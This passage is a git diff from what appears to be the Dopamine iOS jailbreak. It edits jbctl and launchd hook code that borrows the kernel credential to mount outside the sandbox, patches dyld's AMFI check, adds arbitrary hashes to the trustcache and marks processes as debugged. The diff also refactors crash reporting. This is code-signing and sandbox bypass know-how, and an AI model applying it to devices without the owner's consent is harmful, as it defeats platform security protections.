com.apple.private.bindfs-allow + com.apple.private.iowatchdog.user-access + + com.apple.springboard.CFUserNotification + diff --git a/BaseBin/jbctl/src/carboncopy.h b/BaseBin/jbctl/src/carboncopy.h deleted file mode 100644 index 5006a44ac2..0000000000 --- a/BaseBin/jbctl/src/carboncopy.h +++ /dev/null @@ -1,3 +0,0 @@ -#import - -int carbonCopy(NSString *sourcePath, NSString *targetPath); \ No newline at end of file diff --git a/BaseBin/jbctl/src/codesign.h b/BaseBin/jbctl/src/codesign.h deleted file mode 100644 index fc72d5c12f..0000000000 --- a/BaseBin/jbctl/src/codesign.h +++ /dev/null @@ -1,2 +0,0 @@ -#import -int resign_file(NSString *filePath, bool preserveMetadata); \ No newline at end of file diff --git a/BaseBin/jbctl/src/dyldpatch.h b/BaseBin/jbctl/src/dyldpatch.h deleted file mode 100644 index 10a5eb373d..0000000000 --- a/BaseBin/jbctl/src/dyldpatch.h +++ /dev/null @@ -1 +0,0 @@ -int apply_dyld_patch(const char *dyldPath); \ No newline at end of file diff --git a/BaseBin/jbctl/src/dyldpatch.m b/BaseBin/jbctl/src/dyldpatch.m deleted file mode 100644 index 1b514a9da6..0000000000 --- a/BaseBin/jbctl/src/dyldpatch.m +++ /dev/null @@ -1,36 +0,0 @@ -#include -#include - -char gDopamineUUID[] = (char[]){'D', 'O', 'P', 'A', 'M', 'I', 'N', 'E', 'D', 'O', 'P', 'A', 'M', 'I', 'N', 'E' }; - -int apply_dyld_patch(const char *dyldPath) -{ - MachO *dyldMacho = macho_init_for_writing(dyldPath); - if (!dyldMacho) return -1; - - // Make AMFI flags always be `0xdf`, allows DYLD variables to always work - __block uint64_t getAMFIAddr = 0; - macho_enumerate_symbols(dyldMacho, ^(const char *name, uint8_t type, uint64_t vmaddr, bool *stop){ - if (!strcmp(name, "__ZN5dyld413ProcessConfig8Security7getAMFIERKNS0_7ProcessERNS_15SyscallDelegateE")) { - getAMFIAddr = vmaddr; - } - }); - uint32_t getAMFIPatch[] = { - 0xd2801be0, // mov x0, 0xdf - 0xd65f03c0 // ret - }; - macho_write_at_vmaddr(dyldMacho, getAMFIAddr, sizeof(getAMFIPatch), getAMFIPatch); - - // iOS 16+: Change LC_UUID to prevent the kernel from using the in-cache dyld - macho_enumerate_load_commands(dyldMacho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop) { - if (loadCommand.cmd == LC_UUID) { - struct uuid_command *uuidCommand = (struct uuid_command *)cmd; - memcpy(&uuidCommand->uuid, gDopamineUUID, sizeof(gDopamineUUID)); - macho_write_at_offset(dyldMacho, offset, loadCommand.cmdsize, uuidCommand); - *stop = true; - } - }); - - macho_free(dyldMacho); - return 0; -} \ No newline at end of file diff --git a/BaseBin/jbctl/src/internal.h b/BaseBin/jbctl/src/internal.h index 819d4d2815..06d91920bc 100644 --- a/BaseBin/jbctl/src/internal.h +++ b/BaseBin/jbctl/src/internal.h @@ -1 +1 @@ -int jbctl_handle_internal(const char *command); \ No newline at end of file +int jbctl_handle_internal(const char *command, int argc, char* argv[]); \ No newline at end of file diff --git a/BaseBin/jbctl/src/internal.m b/BaseBin/jbctl/src/internal.m index 7871de72cb..a7b1ffe8fe 100644 --- a/BaseBin/jbctl/src/internal.m +++ b/BaseBin/jbctl/src/internal.m @@ -1,12 +1,97 @@ #import "internal.h" -#import "dyldpatch.h" -#import "carboncopy.h" -#import "codesign.h" #import #import #import -int jbctl_handle_internal(const char *command) +SInt32 CFUserNotificationDisplayAlert(CFTimeInterval timeout, CFOptionFlags flags, CFURLRef iconURL, CFURLRef soundURL, CFURLRef localizationURL, CFStringRef alertHeader, CFStringRef alertMessage, CFStringRef defaultButtonTitle, CFStringRef alternateButtonTitle, CFStringRef otherButtonTitle, CFOptionFlags *responseFlags) API_AVAILABLE(ios(3.0)); + +void execute_unsandboxed(void (^block)(void)) +{ + uint64_t credBackup = 0; + jbclient_root_steal_ucred(0, &credBackup); + block(); + jbclient_root_steal_ucred(credBackup, NULL); +} + +int mount_unsandboxed(const char *type, const char *dir, int flags, void *data) +{ + __block int r = 0; + execute_unsandboxed(^{ + r = mount(type, dir, flags, data); + }); + return r; +} + +int unmount_unsandboxed(const char *dir, int flags) +{ + __block int r = 0; + execute_unsandboxed(^{ + r = unmount(dir, flags); + }); + return r; +} + +bool is_protected(const char *path) +{ + struct statfs sb; + statfs(path, &sb); + return strcmp(path, sb.f_mntonname) == 0; +} + +int ensure_protected(const char *path) +{ + if (!is_protected(path)) { + return mount_unsandboxed("bindfs", path, 0, (void *)path); + } + return 0; +} + +int ensure_unprotected(const char *path) +{ + if (is_protected(path)) { + return unmount_unsandboxed(path, MNT_FORCE); + } + return 0; +} + +int protection_set_active(bool active) +{ + int r = 0; + if (active) { + // Protect /private/preboot/UUID/ from being modified by bind mounting them on top of themselves + // This protects dumb users from accidentally deleting these, which would induce a recovery loop after rebooting + r |= ensure_protected(prebootUUIDPath("/System")); + r |= ensure_protected(prebootUUIDPath("/usr")); + } + else { + r |= ensure_unprotected(prebootUUIDPath("/System")); + r |= ensure_unprotected(prebootUUIDPath("/usr")); + } + return r; +} + +bool fakelib_is_mounted(void) +{ + struct statfs fsb; + if (statfs("/usr/lib", &fsb) != 0) return NO; + return strcmp(fsb.f_mntonname, "/usr/lib") == 0; +} + +int fakelib_set_mounted(bool mounted) +{ + int r = 0; + if (mounted != fakelib_is_mounted()) { + if (mounted) { + r = mount_unsandboxed("bindfs", "/usr/lib", MNT_RDONLY, (void *)JBROOT_PATH("/basebin/.fakelib")); + } + else { + r = unmount_unsandboxed("/usr/lib", MNT_FORCE); + } + } + return r; +} + +int jbctl_handle_internal(const char *command, int argc, char* argv[]) { if (!strcmp(command, "launchd_stash_port")) { mach_port_t *selfInitPorts = NULL; @@ -49,53 +134,58 @@ int jbctl_handle_internal(const char *command) mach_port_deallocate(mach_task_self(), launchdTaskPort); return 0; } - else if (!strcmp(command, "fakelib_init")) { - NSString *basebinPath = NSJBRootPath(@"/basebin"); - NSString *fakelibPath = NSJBRootPath(@"/basebin/.fakelib"); - printf("Initalizing fakelib...\n"); - - // Copy /usr/lib to /var/jb/basebin/.fakelib - [[NSFileManager defaultManager] removeItemAtPath:fakelibPath error:nil]; - [[NSFileManager defaultManager] createDirectoryAtPath:fakelibPath withIntermediateDirectories:YES attributes:nil error:nil]; - carbonCopy(@"/usr/lib", fakelibPath); + else if (!strcmp(command, "protection")) { + bool toSet = false; + if (argc > 1) { + if (!strcmp(argv[1], "activate")) { + toSet = true; + } + else if (!strcmp(argv[1], "deactivate")) { + toSet = false; + } + else { + return -1; + } - // Backup and patch dyld - NSString *dyldBackupPath = NSJBRootPath(@"/basebin/.dyld.orig"); - NSString *dyldPatchPath = NSJBRootPath(@"/basebin/.dyld.patched"); - carbonCopy(@"/usr/lib/dyld", dyldBackupPath); - carbonCopy(@"/usr/lib/dyld", dyldPatchPath); - apply_dyld_patch(dyldPatchPath.fileSystemRepresentation); - resign_file(dyldPatchPath, YES); - - // Copy systemhook to fakelib - carbonCopy(NSJBRootPath(@"/basebin/systemhook.dylib"), NSJBRootPath(@"/basebin/.fakelib/systemhook.dylib")); - - // Replace dyld in fakelib with patched dyld - NSString *fakelibDyldPath = [fakelibPath stringByAppendingPathComponent:@"dyld"]; - [[NSFileManager defaultManager] removeItemAtPath:fakelibDyldPath error:nil]; - carbonCopy(dyldPatchPath, NSJBRootPath(@"/basebin/.fakelib/dyld")); - return 0; + return protection_set_active(toSet); + } + return -1; } - else if (!strcmp(command, "fakelib_mount")) { - int ret = 10; - // Mount fakelib on top of /usr/lib - printf("Getting kernel ucred...\n"); - uint64_t orgUcred = 0; - if (jbclient_root_steal_ucred(0, &orgUcred) == 0) { - // Here we steal the kernel ucred - // This allows us to mount to paths that would otherwise be restricted by sandbox - printf("Applying mount...\n"); - ret = mount("bindfs", "/usr/lib", MNT_RDONLY, (void *)JBRootPath("/basebin/.fakelib")); - // revert - printf("Dropping kernel ucred...\n"); - jbclient_root_steal_ucred(orgUcred, NULL); + else if (!strcmp(command, "fakelib")) { + bool toMount = false; + if (argc > 1) { + if (!strcmp(argv[1], "mount")) { + toMount = true; + } + else if (!strcmp(argv[1], "unmount")) { + toMount = false; + } + else { + return -1; + } + + return fakelib_set_mounted(toMount); } - return ret; + return -1; } else if (!strcmp(command, "startup")) { - const char *rootPathC = jbclient_get_root_path(); - if (!rootPathC) return 9; - exec_cmd(JBRootPath("/usr/bin/uicache"), "-a", NULL); + protection_set_active(true); + char *panicMessage = NULL; + if (jbclient_watchdog_get_last_userspace_panic(&panicMessage) == 0) { + NSString *printMessage = [NSString stringWithFormat:@"Dopamine has protected you from a userspace panic by temporarily disabling tweak injection and triggering a userspace reboot instead. A log is available under Analytics in the Preferences app. You can reenable tweak injection in the Dopamine app.\n\nPanic message: \n%s", panicMessage]; + CFUserNotificationDisplayAlert(0, 2/*kCFUserNotificationCautionAlertLevel*/, NULL, NULL, NULL, CFSTR("Watchdog Timeout"), (__bridge CFStringRef)printMessage, NULL, NULL, NULL, NULL); + free(panicMessage); + } + exec_cmd(JBROOT_PATH("/usr/bin/uicache"), "-a", NULL); + } + else if (!strcmp(command, "install_pkg")) { + if (argc > 1) { + extern char **environ; + const char *dpkg = JBROOT_PATH("/usr/bin/dpkg"); + int r = execve(dpkg, (char *const *)(const char *[]){dpkg, "-i", argv[1], NULL}, environ); + return r; + } + return -1; } return -1; } diff --git a/BaseBin/jbctl/src/main.m b/BaseBin/jbctl/src/main.m index e0cfdad91b..2365f13e03 100644 --- a/BaseBin/jbctl/src/main.m +++ b/BaseBin/jbctl/src/main.m @@ -1,4 +1,6 @@ #import +#import +#import #import "internal.h" #import @@ -13,19 +15,41 @@ void print_usage(void) printf("Usage: jbctl \n\ Available commands:\n\ proc_set_debugged \t\tMarks the process with the given pid as being debugged, allowing invalid code pages inside of it\n\ - rebuild_trustcache\t\tRebuilds the TrustCache, clearing any previously trustcached files that no longer exists from it (automatically ran daily at midnight)\n\ + trustcache info\t\t\tPrint info about all jailbreak related trustcaches and the cdhashes contained in them\n\ + trustcache clear\t\tClears all existing cdhashes from the jailbreaks trustcache\n\ + trustcache add \t\tAdd an arbitrary cdhash to the jailbreaks trustcache\n\ update \tInitiates a jailbreak update either based on a TIPA or based on a basebin.tar file, TIPA installation depends on TrollStore, afterwards it triggers a userspace reboot\n"); } int main(int argc, char* argv[]) { + if (!strcmp(argv[argc-1], "earlyboot")) { + // If jbctl is spawned in "early boot" state, the jbserver port needs to be obtained from registeredPorts[0] instead + mach_port_t *registeredPorts; + mach_msg_type_number_t registeredPortsCount = 0; + if (mach_ports_lookup(mach_task_self(), ®isteredPorts, ®isteredPortsCount) == KERN_SUCCESS) { + jbclient_xpc_set_custom_port(registeredPorts[0]); + + for(mach_msg_type_number_t i = 1; i < registeredPortsCount; i++) { + mach_port_deallocate(mach_task_self(), registeredPorts[i]); + } + vm_deallocate(mach_task_self(), (vm_address_t)registeredPorts, registeredPortsCount * sizeof(mach_port_t)); + } + } + setvbuf(stdout, NULL, _IOLBF, 0); if (argc < 2) { print_usage(); return 1; } - const char *rootPath = jbclient_get_root_path(); + if (getuid() != 0 && geteuid() == 0) { + // When jailbroken the Dopamine app cannot have uid 0 because it can't drop it anymore without loosing it + // So in some cases (e.g. for spawning dpkg) we need to use jbctl to get it + setuid(0); + } + + const char *rootPath = jbclient_get_jbroot(); if (rootPath) { gSystemInfo.jailbreakInfo.rootPath = strdup(rootPath); } @@ -37,7 +61,7 @@ int main(int argc, char* argv[]) return 1; } int pid = atoi(argv[2]); - int64_t result = jbclient_platform_set_process_debugged(pid); + int64_t result = jbclient_platform_set_process_debugged(pid, true); if (result == 0) { printf("Successfully marked proc of pid %d as debugged\n", pid); } @@ -45,11 +69,69 @@ int main(int argc, char* argv[]) printf("Failed to mark proc of pid %d as debugged\n", pid); } } - else if (!strcmp(cmd, "rebuild_trustcache")) { - //jbdRebuildTrustCache(); - } else if (!strcmp(cmd, "reboot_userspace")) { + else if (!strcmp(cmd, "trustcache")) { + if (argc < 3) { + print_usage(); + return 2; + } + if (getuid() != 0) { + printf("ERROR: trustcache subcommand requires root.\n"); + return 3; + } + const char *trustcacheCmd = argv[2]; + if (!strcmp(trustcacheCmd, "info")) { + xpc_object_t tcArr = nil; + if (jbclient_root_trustcache_info(&tcArr) == 0) { + size_t tcCount = xpc_array_get_count(tcArr); + for (size_t i = 0; i < tcCount; i++) { + xpc_object_t tc = xpc_array_get_dictionary(tcArr, i); + size_t uuidLength = 0; + const void *uuidData = xpc_dictionary_get_data(tc, "uuid", &uuidLength); + xpc_object_t cdhashesArr = xpc_dictionary_get_array(tc, "cdhashes"); + if (uuidData && cdhashesArr) { + size_t length = xpc_array_get_count(cdhashesArr); + char uuidString[uuidLength * 2 + 1]; + convert_data_to_hex_string(uuidData, uuidLength, uuidString); + printf("Jailbreak Trustcache %zd (length: %zd)\n", i, uuidString, length); + for (size_t j = 0; j < length; j++) { + size_t cdhashLength = 0; + const void *cdhashData = xpc_array_get_data(cdhashesArr, j, &cdhashLength); + if (cdhashData) { + char cdhashString[cdhashLength * 2 + 1]; + convert_data_to_hex_string(cdhashData, cdhashLength, cdhashString); + printf("| %zd:\t%s\n", j+1, cdhashString); + } + } + } + } + } + return 0; + } + else if (!strcmp(trustcacheCmd, "clear")) { + return jbclient_root_trustcache_clear(); + } + else if (!strcmp(trustcacheCmd, "add")) { + if (argc < 4) { + print_usage(); + return 2; + } + const char *cdhashString = argv[3]; + if (strlen(cdhashString) != (sizeof(cdhash_t) * 2)) { + printf("ERROR: passed cdhash has wrong length\n"); + return 2; + } + cdhash_t cdhash; + if (convert_hex_string_to_data(cdhashString, &cdhash)) { + printf("ERROR: passed cdhash is malformed\n"); + return 2; + } + return jbclient_root_trustcache_add_cdhash(cdhash, sizeof(cdhash)); + } + } + else if (!strcmp(cmd, "reboot_userspace")) { return reboot3(RB2_USERREBOOT); - } else if (!strcmp(cmd, "update")) { + } + else if (!strcmp(cmd, "update")) { if (argc < 4) { print_usage(); return 2; @@ -62,13 +144,15 @@ int main(int argc, char* argv[]) } if (!strcmp(updateType, "tipa")) { + setsid(); + LSApplicationProxy *trollstoreAppProxy = [LSApplicationProxy applicationProxyForIdentifier:@"com.opa334.TrollStore"]; if (!trollstoreAppProxy || !trollstoreAppProxy.installed) { printf("Unable to locate TrollStore, doesn't seem like it's installed.\n"); return 4; } NSString *trollstorehelperPath = [trollstoreAppProxy.bundleURL.path stringByAppendingPathComponent:@"trollstorehelper"]; - int r = exec_cmd(trollstorehelperPath.fileSystemRepresentation, "install", "force", updateFile, NULL); + int r = exec_cmd(trollstorehelperPath.fileSystemRepresentation, "install", "skip-uicache", "force", updateFile, NULL); if (r != 0) { printf("Failed to install tipa via TrollStore: %d\n", r); return 5; @@ -95,15 +179,16 @@ int main(int argc, char* argv[]) return reboot3(RB2_USERREBOOT); } else { - printf("Update failed with error code %lld\n", result); + printf("Staging update failed with error code %lld\n", result); return result; } - } else if (!strcmp(cmd, "internal")) { - if (getuid() != 0) return -1; - if (argc < 3) return -1; + } + else if (!strcmp(cmd, "internal")) { + if (getuid() != 0) return 41; + if (argc < 3) return 42; const char *internalCmd = argv[2]; - return jbctl_handle_internal(internalCmd); + return jbctl_handle_internal(internalCmd, argc-2, &argv[2]); } return 0; diff --git a/BaseBin/launchdhook/Makefile b/BaseBin/launchdhook/Makefile index ba75e35d3a..1dcea0716a 100644 --- a/BaseBin/launchdhook/Makefile +++ b/BaseBin/launchdhook/Makefile @@ -1,8 +1,8 @@ TARGET = launchdhook.dylib CC = clang -CFLAGS = -framework Foundation -framework CoreServices -framework Security -I../.include -Isrc -isysroot $(shell xcrun --sdk iphoneos --show-sdk-path) -arch arm64 -arch arm64e -miphoneos-version-min=15.0 -fobjc-arc -O2 -LDFLAGS = -dynamiclib -rpath @loader_path/fallback -L../libjailbreak -L../.build -L../_external/lib -ljailbreak -lellekit -lbsm +CFLAGS = -framework Foundation -framework CoreServices -framework Security -I../.include -Isrc -isysroot $(shell xcrun --sdk iphoneos --show-sdk-path) -arch arm64 -arch arm64e -miphoneos-version-min=15.0 -Wno-deprecated-declarations -fobjc-arc -O2 +LDFLAGS = -dynamiclib -rpath @loader_path/fallback -L../.build -L../_external/lib -ljailbreak -lellekit -lbsm sign: $(TARGET) @ldid -S $^ diff --git a/BaseBin/launchdhook/src/asl.h b/BaseBin/launchdhook/src/asl.h new file mode 100644 index 0000000000..9cae204dc5 --- /dev/null +++ b/BaseBin/launchdhook/src/asl.h @@ -0,0 +1,18 @@ +#ifndef __LDH_ASL_H +#define __LDH_ASL_H + +#include + +struct asl_context { + bool asl_enabled; + const char *progname; + int asl_fd; +#if TARGET_OS_SIMULATOR && !TARGET_OS_MACCATALYST + const char *sim_log_path; + os_unfair_lock sim_connect_lock; +#else + os_once_t connect_once; +#endif +}; + +#endif \ No newline at end of file diff --git a/BaseBin/launchdhook/src/boomerang.c b/BaseBin/launchdhook/src/boomerang.c index 1df0593b4f..7a554e0713 100644 --- a/BaseBin/launchdhook/src/boomerang.c +++ b/BaseBin/launchdhook/src/boomerang.c @@ -7,12 +7,11 @@ #include #include #include +#include #include int posix_spawnattr_set_registered_ports_np(posix_spawnattr_t *__restrict attr, mach_port_t portarray[], uint32_t count); -extern int (*posix_spawn_orig)(pid_t *restrict, const char *restrict, const posix_spawn_file_actions_t *restrict, const posix_spawnattr_t *restrict, char *const[restrict], char *const[restrict]); - #define JB_DOMAIN_PRIMITIVE_STORAGE 10 #define JB_PRIMITIVE_STORAGE_RETRIEVE_PHYSRW 1 @@ -44,13 +43,14 @@ void boomerang_stashPrimitives() posix_spawnattr_t attr = NULL; posix_spawnattr_init(&attr); posix_spawnattr_set_registered_ports_np(&attr, (mach_port_t[]){ MACH_PORT_NULL, MACH_PORT_NULL, serverPort }, 3); - int ret = posix_spawn_orig(&boomerangPid, JBRootPath("/basebin/boomerang"), NULL, &attr, NULL, NULL); + int ret = posix_spawn(&boomerangPid, JBROOT_PATH("/basebin/boomerang"), NULL, &attr, NULL, NULL); if (ret != 0) return; posix_spawnattr_destroy(&attr); // Wait for boomerang to retrieve the primitives from launchd (handled in server above) dispatch_semaphore_wait(boomerangDone, DISPATCH_TIME_FOREVER); dispatch_source_cancel(serverSource); + mach_port_deallocate(mach_task_self(), serverPort); // Stash boomerang pid in environment to later be able to call waitpid on it char pidBuf[10]; @@ -79,35 +79,12 @@ int boomerang_recoverPrimitives(bool firstRetrieval, bool shouldEndBoomerang) unsetenv("BOOMERANG_PID"); } - // Retrieve system info - xpc_object_t xSystemInfoDict = NULL; - if (jbclient_root_get_sysinfo(&xSystemInfoDict) != 0) return -4; - SYSTEM_INFO_DESERIALIZE(xSystemInfoDict); - - // Retrieve physrw - int physrwRet = jbclient_root_get_physrw(firstRetrieval); - if (physrwRet != 0) return -20 + physrwRet; - if (firstRetrieval) { - // For performance reasons we only use physrw_pte until the first userspace reboot - // Handing off full physrw from the app is really slow and causes watchdog timeouts - // But from launchd it's generally fine, no clue why - libjailbreak_physrw_pte_init(true); - } - else { - libjailbreak_physrw_init(true); - } - - libjailbreak_translation_init(); - - libjailbreak_IOSurface_primitives_init(); - if (__builtin_available(iOS 16.0, *)) { - libjailbreak_kalloc_pt_init(); - } - - // Retrieve kcall if available - if (jbinfo(usesPACBypass)) { - jbclient_get_fugu14_kcall(); - } + // Retrieve primitives + // For performance reasons we only use physrw_pte until the first userspace reboot + // Handing off full physrw from the app is really slow and causes watchdog timeouts + // But from launchd it's generally fine, no clue why + bool physrwPTE = firstRetrieval && !is_kcall_available(); + jbclient_initialize_primitives_internal(physrwPTE); if (shouldEndBoomerang) { // Send done message to boomerang @@ -120,6 +97,6 @@ int boomerang_recoverPrimitives(bool firstRetrieval, bool shouldEndBoomerang) waitpid(boomerangPid, &boomerangStatus, 0); } } - + return 0; } diff --git a/BaseBin/launchdhook/src/crashreporter.h b/BaseBin/launchdhook/src/crashreporter.h index 708b1cd293..3ca6ed9efa 100644 --- a/BaseBin/launchdhook/src/crashreporter.h +++ b/BaseBin/launchdhook/src/crashreporter.h @@ -1,4 +1,5 @@ #import +#include typedef int exception_type_t; typedef integer_t exception_data_type_t; @@ -39,4 +40,7 @@ typedef enum { void crashreporter_start(void); void crashreporter_pause(void); -void crashreporter_resume(void); \ No newline at end of file +void crashreporter_resume(void); + +FILE *crashreporter_open_outfile(const char *source, char **nameOut); +void crashreporter_save_outfile(FILE *f); \ No newline at end of file diff --git a/BaseBin/launchdhook/src/crashreporter.c b/BaseBin/launchdhook/src/crashreporter.m similarity index 53% rename from BaseBin/launchdhook/src/crashreporter.c rename to BaseBin/launchdhook/src/crashreporter.m index a2d16a62ec..ea7582b737 100644 --- a/BaseBin/launchdhook/src/crashreporter.c +++ b/BaseBin/launchdhook/src/crashreporter.m @@ -9,9 +9,18 @@ #include #include #include +#include +#include #include +#include extern CFStringRef CFCopySystemVersionString(void); +void abort_with_reason(uint32_t reason_namespace, uint64_t reason_code, const char *reason_string, uint64_t reason_flags); + +#import + +static NSUncaughtExceptionHandler* defaultNSExceptionHandler = NULL; + #define INSTACK(a) ((a) >= stackbot && (a) <= stacktop) #if defined(__x86_64__) #define ISALIGNED(a) ((((uintptr_t)(a)) & 0xf) == 0) @@ -120,44 +129,96 @@ const char *crashreporter_string_for_code(int code) void crashreporter_dump_backtrace_line(FILE *f, vm_address_t addr) { Dl_info info; - dladdr((void *)addr, &info); + if (dladdr((void *)addr, &info) != 0) { + const char *sname = info.dli_sname; + const char *fname = info.dli_fname; + if (!sname) { + sname = ""; + } - const char *sname = info.dli_sname; - const char *fname = info.dli_fname; - if (!sname) { - sname = ""; + fprintf(f, "0x%lX: %s (0x%lX + 0x%lX) (%s(0x%lX) + 0x%lX)\n", addr, sname, (vm_address_t)info.dli_saddr, addr - (vm_address_t)info.dli_saddr, fname, (vm_address_t)info.dli_fbase, addr - (vm_address_t)info.dli_fbase); + } + else { + fprintf(f, "0x%lX (no association)\n", addr); } - - fprintf(f, "0x%lX: %s (0x%lX + 0x%lX) (%s(0x%lX) + 0x%lX)\n", addr, sname, (vm_address_t)info.dli_saddr, addr - (vm_address_t)info.dli_saddr, fname, (vm_address_t)info.dli_fbase, addr - (vm_address_t)info.dli_fbase); } -void crashreporter_dump(FILE *f, int code, int subcode, arm_thread_state64_t threadState, arm_exception_state64_t exceptionState, vm_address_t *bt) +FILE *crashreporter_open_outfile(const char *source, char **nameOut) { - struct utsname systemInfo; - uname(&systemInfo); + time_t t = time(NULL); + char timestamp[64]; + sprintf(×tamp[0], "%lu", t); - uint64_t pc = (uint64_t)__darwin_arm_thread_state64_get_pc(threadState); + char *name = malloc(100); + strlcpy(name, source, 100); + strlcat(name, "-", 100); + strlcat(name, timestamp, 100); + strlcat(name, ".ips", 100); - fprintf(f, "Device Model: %s\n", systemInfo.machine); + char dumpPath[PATH_MAX]; + strlcpy(dumpPath, "/var/mobile/Library/Logs/CrashReporter/", PATH_MAX); + strlcat(dumpPath, name, PATH_MAX); - CFStringRef deviceVersion = CFCopySystemVersionString(); - if (deviceVersion) { - fprintf(f, "Device Version: %s\n", CFStringGetCStringPtr(deviceVersion, kCFStringEncodingUTF8)); - CFRelease(deviceVersion); + if (nameOut) { + *nameOut = name; + } + else { + free(name); } -#ifdef __arm64e__ - fprintf(f, "Architecture: arm64e\n"); -#else - fprintf(f, "Architecture: arm64\n"); -#endif - fprintf(f, "\n"); + FILE *f = fopen(dumpPath, "w"); + if (f) { + struct utsname systemInfo; + uname(&systemInfo); + + fprintf(f, "Device Model: %s\n", systemInfo.machine); + + CFStringRef deviceVersion = CFCopySystemVersionString(); + if (deviceVersion) { + fprintf(f, "Device Version: %s\n", CFStringGetCStringPtr(deviceVersion, kCFStringEncodingUTF8)); + CFRelease(deviceVersion); + } + + #ifdef __arm64e__ + fprintf(f, "Architecture: arm64e\n"); + #else + fprintf(f, "Architecture: arm64\n"); + #endif + fprintf(f, "\n"); + } + + return f; +} +void crashreporter_save_outfile(FILE *f) +{ + fflush(f); + fchown(fileno(f), 0, 250); + fchmod(fileno(f), 00660); + if (fcntl(fileno(f), F_FULLFSYNC) != 0) { + fsync(fileno(f)); + } + fclose(f); + + int dir = open("/var/mobile/Library/Logs/CrashReporter", O_RDONLY | O_DIRECTORY); + if (dir >= 0) { + if (fcntl(dir, F_FULLFSYNC) != 0) { + fsync(dir); + } + close(dir); + } +} + +void crashreporter_dump_mach(FILE *f, int code, int subcode, arm_thread_state64_t threadState, arm_exception_state64_t exceptionState, vm_address_t *bt) +{ fprintf(f, "Exception: %s\n", crashreporter_string_for_code(code)); fprintf(f, "Exception Subcode: %d\n", subcode); fprintf(f, "\n"); fprintf(f, "Register State:\n"); + uint64_t pc = (uint64_t)__darwin_arm_thread_state64_get_pc(threadState); + uint64_t lr = (uint64_t)__darwin_arm_thread_state64_get_lr(threadState); + for(int i = 0; i <= 28; i++) { if (i < 10) { fprintf(f, " "); @@ -170,20 +231,29 @@ void crashreporter_dump(FILE *f, int code, int subcode, arm_thread_state64_t thr fprintf(f, ", "); } } - fprintf(f, " lr = 0x%016lX, pc = 0x%016llX, sp = 0x%016lX, fp = 0x%016lX, cpsr= 0x%08X, far = 0x%016llX\n\n", __darwin_arm_thread_state64_get_lr(threadState), pc, __darwin_arm_thread_state64_get_sp(threadState), __darwin_arm_thread_state64_get_fp(threadState), threadState.__cpsr, exceptionState.__far); + fprintf(f, " lr = 0x%016llX, pc = 0x%016llX, sp = 0x%016llX, fp = 0x%016llX, cpsr= 0x%08X, far = 0x%016llX\n\n", lr, pc, (uint64_t)__darwin_arm_thread_state64_get_sp(threadState), (uint64_t)__darwin_arm_thread_state64_get_fp(threadState), threadState.__cpsr, exceptionState.__far); fprintf(f, "Backtrace:\n"); crashreporter_dump_backtrace_line(f, (vm_address_t)pc); - int btI = 0; - vm_address_t btAddr = bt[btI++]; + crashreporter_dump_backtrace_line(f, (vm_address_t)lr); + int btIdx = 0; + vm_address_t btAddr = bt[btIdx++]; while (btAddr != 0) { crashreporter_dump_backtrace_line(f, btAddr); - btAddr = bt[btI++]; + btAddr = bt[btIdx++]; } fprintf(f, "\n"); } -void crashreporter_catch(exception_raise_request *request, exception_raise_reply *reply) +void crashreporter_dump_image_list(FILE *f) +{ + fprintf(f, "Images:\n"); + for (uint32_t i = 0; i < _dyld_image_count(); i++) { + fprintf(f, "%s: %p\n", _dyld_get_image_name(i), _dyld_get_image_header(i)); + } +} + +void crashreporter_catch_mach(exception_raise_request *request, exception_raise_reply *reply) { pthread_t pthread = pthread_from_mach_thread_np(request->thread.name); @@ -203,22 +273,80 @@ void crashreporter_catch(exception_raise_request *request, exception_raise_reply unsigned c = 100; pthread_backtrace(pthread, bt, c, &c, 0, (void *)__darwin_arm_thread_state64_get_fp(threadState)); - time_t t = time(NULL); - char *timestamp = malloc(64); - sprintf(×tamp[0], "%lu", t); + char *name = NULL; + FILE *f = crashreporter_open_outfile("launchd", &name); + if (f) { + crashreporter_dump_mach(f, request->code, request->subcode, threadState, exceptionState, bt); + crashreporter_dump_image_list(f); + crashreporter_save_outfile(f); + } + + if (name) { + char msg[1000]; + snprintf(msg, 1000, "Mach exception occured. A detailed report has been written to the file %s.", name); + abort_with_reason(7, 1, msg, 0); + } + else { + abort_with_reason(7, 1, "Mach exception occured. Failed to write the detailed report to a file.", 0); + } +} + +void crashreporter_dump_objc(FILE *f, NSException *e) +{ + @autoreleasepool { + fprintf(f, "Exception: %s\n", e.name.UTF8String); + fprintf(f, "Exception Reason: %s\n", e.reason.UTF8String); + fprintf(f, "User Info: %s\n", e.userInfo.description.UTF8String); + fprintf(f, "\n"); + + if (e.callStackReturnAddresses.count) { + fprintf(f, "Backtrace:\n"); + for (NSNumber *btAddrNum in e.callStackReturnAddresses) { + crashreporter_dump_backtrace_line(f, [btAddrNum unsignedLongLongValue]); + } + fprintf(f, "\n"); + } + else if (e.callStackSymbols.count) { + fprintf(f, "Backtrace:\n"); + for (NSString *symbol in e.callStackSymbols) { + fprintf(f, "%s\n", symbol.UTF8String); + } + fprintf(f, "\n"); + } + } +} + +void crashreporter_catch_objc(NSException *e) +{ + @autoreleasepool { + static BOOL hasCrashed = NO; + if (hasCrashed) { + exit(187); + } + else { + hasCrashed = YES; + } - char *dumpPath = malloc(PATH_MAX); - strcpy(dumpPath, "/var/mobile/Library/Logs/CrashReporter/launchd-"); - strcat(dumpPath, timestamp); - strcat(dumpPath, ".ips"); - free(timestamp); - - FILE *dumpFile = fopen(dumpPath, "w"); - free(dumpPath); - if (dumpFile) { - crashreporter_dump(dumpFile, request->code, request->subcode, threadState, exceptionState, bt); - fflush(dumpFile); - fclose(dumpFile); + char *name = NULL; + FILE *f = crashreporter_open_outfile("launchd", &name); + if (f) { + @try { + crashreporter_dump_objc(f, e); + crashreporter_dump_image_list(f); + } + @catch (NSException *e2) { + exit(187); + } + crashreporter_save_outfile(f); + } + if (name) { + char msg[1000]; + snprintf(msg, 1000, "Objective-C exception occured. A detailed report has been written to the file %s.", name); + abort_with_reason(7, 1, msg, 0); + } + else { + abort_with_reason(7, 1, "Objective-C exception occured. Failed to write the detailed report to a file.", 0); + } } } @@ -231,7 +359,7 @@ void *crashreporter_listen(void *arg) mach_msg_receive(&msg); exception_raise_reply reply; - crashreporter_catch((exception_raise_request *)&msg, &reply); + crashreporter_catch_mach((exception_raise_request *)&msg, &reply); reply.header.msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REMOTE(msg.msgh_bits), 0); reply.header.msgh_size = sizeof(exception_raise_reply); @@ -243,21 +371,12 @@ void *crashreporter_listen(void *arg) } } -void crashreporter_start(void) -{ - if (gCrashReporterState == 